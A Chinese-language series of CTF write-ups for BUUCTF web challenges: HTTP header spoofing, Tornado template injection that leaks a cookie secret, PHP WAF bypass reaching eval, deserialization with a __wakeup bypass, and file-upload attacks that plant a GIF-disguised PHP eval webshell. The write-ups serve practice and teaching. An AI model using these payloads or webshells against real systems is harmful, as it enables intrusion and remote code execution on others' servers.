题目名:Knife (白给的shell)
题目给了信息:连shell 的密码
只要知道 shell 的文件名就能连上了,通过题目我们可以猜测 Knife.php 就是 shell 。用 工具Knife尝试连接:
1
2
3
4
5
6
|
# 连接地址
http://acd59323-080b-473a-bf98-cfe92218df08.node3.buuoj.cn/?Knife.php
#使用 index.php 也能连上,一般网站都存在 index.php
密码:Syc
|
flag白给
Header |
解释 |
X-Forwarded-For(XFF) |
表示 HTTP 请求端真实 IP |
Referer |
先前网页的地址,当前请求网页紧随其后,即来路 |
User-Agent(UA) |
User-Agent的内容包含发出请求的用户信息 |
打开网站:
打开网页源代码查看,搜索 .php文件,找到:
打开网页:
1
|
http://node3.buuoj.cn:28985/Secret.php
|
提示:It doesn't come from 'https://www.Sycsecret.com'
用BURP,或者Live HTTP Headers 抓包,修改 referer 头信息:
由提示:Please use "Syclover" browser
修改 UA :
提示:No!!! you can only read this locally!!! (说只能在本地访问,使用本地 127.0.0.1)
X-Forwarded-For:127.0.0.1
得到Flag:flag{28c01f6a-0979-45e2-beff-da7b980b9c76}
题目名是 easy_tornado ,题目中有/welcome.txt中提示 render。
这里考察的是:python SSTI tornado render模板注入
Tornado 官方文档
tornado render是python中的一个渲染函数,也就是一种模板,通过调用的参数不同,生成不同的网页,如果用户对render内容可控,不仅可以注入XSS代码,而且还可以通过{{}}进行传递变量和执行简单的表达式。
在tornado模板中,存在一些可以访问的快速对象,例如
1
|
{{ escape(handler.settings[“cookie”]) }}
|
这两个{{}}和这个字典对象也许大家就看出来了,没错就是这个handler.settings对象
1
2
3
4
5
|
handler 指向RequestHandler
而 RequestHandler.settings 又指向 self.application.settings
所以 handler.settings 就指向 RequestHandler.application.settings了!
|
大概就是说,这里面就是我们的环境变量,我们正是从这里获取的cookie_secret
查看题目给的三个文件:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
http://3d50506c-4a83-495b-9562-20f45572ca14.node3.buuoj.cn/file?filename=/hints.txt&filehash=c1715ad6398e0eafff09f1110f3f4105
# /hints.txt
# md5(cookie_secret+md5(filename))
http://3d50506c-4a83-495b-9562-20f45572ca14.node3.buuoj.cn/file?filename=/flag.txt&filehash=8aae49dac0ef2db819f0d8367f36914a
# /flag.txt
# flag in /fllllllllllllag
http://3d50506c-4a83-495b-9562-20f45572ca14.node3.buuoj.cn/file?filename=/welcome.txt&filehash=2fdbb50b47050f6d8ac1ce69cd46ee87
# /welcome.txt
# render
|
可以知道 flag 在 /fllllllllllllag 文件中,执行的 url 应该为:
1
|
?filename=/fllllllllllllag.txt&filehash=md5(cookie_secret+md5(filename))
|
- 直接将url中的 /flag.txt 改为 /fllllllllllllag
1
|
http://3d50506c-4a83-495b-9562-20f45572ca14.node3.buuoj.cn/file?filename=/fllllllllllllag&filehash=8aae49dac0ef2db819f0d8367f36914a
|
报错 Error
url为:
1
|
http://3d50506c-4a83-495b-9562-20f45572ca14.node3.buuoj.cn/error?msg=Error
|
tornado render模板注入:
1
|
?msg={{handler.settings}}
|
拿到环境变量信息,包含cookie:
1
|
{'autoreload': True, 'compiled_template_cache': False, 'cookie_secret': '595023eb-cf6a-42da-9acf-1f7decd194da'}
|
获取filehash 值,md5(cookie_secret+md5(filename)):
1
2
3
4
5
6
|
# 工具进行md5加密
md5(595023eb-cf6a-42da-9acf-1f7decd194da+md5(/fllllllllllllag))
=>md5(595023eb-cf6a-42da-9acf-1f7decd194da3bf9f6cf685a6dd8defadabfb41a03a1)
=>ff69782613513fab09a1b58a10c13419
# output: flag{0e6fc9d4-b727-4014-a4f8-d6cdeed643a8}
|
使用python3脚本执行:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
# 由于MD5模块在python3中被移除,使用hashlib 模块进行md5操作
import hashlib
# 待加密信息
filename = "/fllllllllllllag"
# 创建md5对象
obj1 = hashlib.md5()
obj2 = hashlib.md5()
# 此处必须声明encode
# 若写法为hl.update(str) 报错为: Unicode-objects must be encoded before hashing
obj1.update(filename.encode(encoding='utf-8'))
s1 = obj1.hexdigest()
print(s1)
cookie_secret = '595023eb-cf6a-42da-9acf-1f7decd194da'
obj2.update((cookie_secret+s1).encode(encoding='utf-8'))
print(obj2.hexdigest())
|
利用PHP的字符串解析特性Bypass
1
2
3
4
5
|
我们知道PHP将查询字符串(在URL或正文中)转换为内部 $_GET或的关联数组 $_POST。例如:
/?foo=bar变成Array([foo] => "bar")。值得注意的是,查询字符串在解析的过程中会将某些
字符删除或用下划线代替。例如,/?%20news[id%00=42 会转换为 Array([news_id] => 42)。
如果一个IDS/IPS或WAF中有一条规则是当news_id参数的值是一个非数字的值则拦截,那么我们就
可以用以下语句绕过:
|
/news.php?%20news[id%00=42"+AND+1=0--
1
|
上述PHP语句的参数 %20news[id%00 的值将存储到$_GET["news_id"]中。
|
PHP需要将所有参数转换为有效的变量名,因此在解析查询字符串时,它会做两件事:
1.删除空白符
2.将某些字符转换为下划线(包括空格)
简单解释就是num前加个空格可以绕过waf
payload:
scandir() |
函数会把扫描的目录值,写成数组,返回 |
var_dump() |
函数用于输出变量的相关信息。 |
file_get_contents |
将整个文件读入一个字符串 |
HTTP 请求走私
HTTP走私攻击(HTTP数据接收不同步攻击)
1. 经典攻击方法重复Content-Length
2. Transfer-Encoding: chunked攻击方法
3.其他攻击方法
查看题目源码,发现有 calc.php?num=
查看 calc.php 文件:http://node3.buuoj.cn:26430/calc.php
得到一份源码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
<?php
error_reporting(0);
if(!isset($_GET['num'])){
show_source(__FILE__);
}else{
$str = $_GET['num'];
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $str)) {
die("what are you want to do?");
}
}
eval('echo '.$str.';');
}
?>
|
通过源码我们可以发现过滤了大部分字符,num 的传入值为非数字就会报错,在 ?num 前面加入一个空格 ? num或写 ?%20num,这样 传入的 'num' 就变成了 ' num',绕过WAF。
1
2
|
# 绕过成功
http://node3.buuoj.cn:25448/calc.php?%20num=phpinfo()
|
扫根目录下的所有文件,也就是 scandir("/") ,但是“/”被过滤了,所以我们用 chr(47) 绕过,发现flagg文件
1
2
3
4
5
|
# 扫描根目录
http://node3.buuoj.cn:25448/calc.php?%20num=scandir(chr(47))
# ==>
# Array
|
1
2
3
4
5
6
7
8
9
10
11
|
# var_dump() 函数用于输出变量的相关信息。
http://node3.buuoj.cn:25448/calc.php?%20num=var_dump(scandir(chr(47)))
==>
array(24) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(10) ".dockerenv"
[3]=> string(3) "bin" [4]=> string(4) "boot" [5]=> string(3) "dev" [6]=> string(3)
"etc" [7]=> string(5) "f1agg" [8]=> string(4) "home" [9]=> string(3) "lib" [10]=>
string(5) "lib64" [11]=> string(5) "media" [12]=> string(3) "mnt" [13]=> string(3)
"opt" [14]=> string(4) "proc" [15]=> string(4) "root" [16]=> string(3) "run" [17]=>
string(4) "sbin" [18]=> string(3) "srv" [19]=> string(8) "start.sh" [20]=> string(3)
"sys" [21]=> string(3) "tmp" [22]=> string(3) "usr" [23]=> string(3) "var" }
|
读取 flagg 文件,因为不知道是不是文件夹,所有用 scandir()扫一下 /flagg,返回 false ,说明是个文本文件
1
2
3
4
|
http://node3.buuoj.cn:25448/calc.php?%20num=var_dump(scandir(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))
# ==>
# bool(false)
|
使用 file_get_contents() 函数将文本文件读入到字符串输出:
1
2
3
4
|
http://node3.buuoj.cn:25448/calc.php?%20num=file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))
# ==>
# flag{9176a86b-0aba-4b11-987f-500dfb236447}
|
dirsearch Github :https://github.com/maurosoria/dirsearch
dirsearch kali安装教程:
安装:git clone https://github.com/maurosoria/dirsearch.git
打开:cd dirsearch/
使用:./dirsearch.py -u 目标网址 -e *
1
2
3
4
5
6
7
8
|
#参数
-u 指定url
-e 指定网站语言
-w 可以加上自己的字典(带上路径)
-r 递归跑(查到一个目录后,在目录后在重复跑,很慢,不建议用)
|
PHP序列化与反序列化
1: public、protected与private在序列化时的区别
protected 声明的字段为保护字段,在所声明的类和该类的子类中可见,但在该类的对象实例中不可见。因此保护字
段的字段名在序列化时,字段名前面会加上\0*\0的前缀。这里的 \0 表示 ASCII 码为 0 的字符(不可见字符),
而不是 \0 组合。这也许解释了,为什么如果直接在网址上,传递\0*\0username会报错,因为实际上并不是\0,
只是用它来代替ASCII值为0的字符。必须用python传值才可以。
private 声明的字段为私有字段,只在所声明的类中可见,在该类的子类和该类的对象实例中均不可见。因此私有字
段的字段名在序列化时,类名和字段名前面都会加上\0的前缀。字符串长度也包括所加前缀的长度。其中 \0 字符也
是计算长度的。
3:__wakeup()方法绕过
一个经常被用来出题的函数
(CVE-2016-7124)
作用:与__sleep()函数相反,__sleep()函数,是在序列化时被自动调用。__wakeup()函数,在反序列化时,
被自动调用。
绕过:当反序列化字符串,表示属性个数的值大于真实属性个数时,会跳过 __wakeup 函数的执行。
题目提示备份网站,题目给的站点不能查看到源代码。直接使用 dirsearch 爆破网站目录。既然是备份网站,那么应该在 www目录下备份。
1
2
3
|
#执行
./dirsearch.py -u http://0ea220ee-c083-4f2a-9b17-3513bd1142d5.node4.buuoj.cn/ -e php
|
发现有 /www.zip 文件,在网站中打开。直接下载
zip解压后有一份 flag.php 文件,提交 flag 是错的。
打开 class.php 文件,通过下面这段关键代码,我们可知:如果 password=100,username=admin,在执行__destruct()的时候可以获得flag
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();
|
构造序列化:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
<?php
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
}
$a = new Name('admin',100);
$b = serialize($a);
echo $b;
?>
|
得到的序列化:
1
|
O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
|
接下来我们需要绕过 __wakeup() ,因为在反序列化的时候会首先执行 __wakeup() 魔术方法,
这个方法会把我们的username重新赋值
将序列化修改为:
1
|
O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
|
又因为变量是 private类,private 声明的字段为私有字段,只在所声明的类中可见,在该类的子类和该类的对象实例中均不可见。因此私有字段的字段名在序列化时,类名和字段名前面都会加上0的前缀。字符串长度也包括所加前缀的长度
再次修改:
1
|
O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
|
使用get请求把我们准备好的序列化当作select的参数传递过去
http://0ea220ee-c083-4f2a-9b17-3513bd1142d5.node4.buuoj.cn/?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
flag{7573e53b-0499-4150-a538-56fe8aa16fb6}
中国蚁剑(AntSword)安装:
加载器:
https://github.com/AntSwordProject/AntSword-Loader
核心源码:
https://github.com/AntSwordProject/antSword
中国蚁剑使用说明书:
https://doc.u0u.us/zh-hans/
安装使用教程:https://blog.csdn.net/weixin_41924764/article/details/108099952
一句话木马:
常用一句话:
1
|
GIF89a? <script language="php">eval($_REQUEST[shell])</script>
|
打开题目网页,有提交表单的功能,可以提交图片格式的文件。
1、写一个木马文件,shell.phtml
1
|
GIF89a? <script language="php">eval($_REQUEST[shell])</script>
|
提交木马,用burp进行拦截
2、文件类型绕过:
将Content-Type: 值修改为 image/jpeg
3、蚁剑连接:
猜测路径为 /upload/shell.phtml
完整路径:http://1113ecd9-a168-4dbd-92c2-e58dc6b7d32e.node4.buuoj.cn/upload/shell.phtml
连接密码就是: shell
在根目录下拿到 flag
同上一道题目是一样的 、这里上传测试一下上传文件的类型:提示只能上传 jpg,png,gif 文件
将一句话:写入文件 1.png
1
|
GIF89a? <script language="php">eval($_REQUEST[shell])</script>
|
burp抓包
修改文件后缀,放包
和上一题一样,也是用蚁剑连,在根目录下拿到flag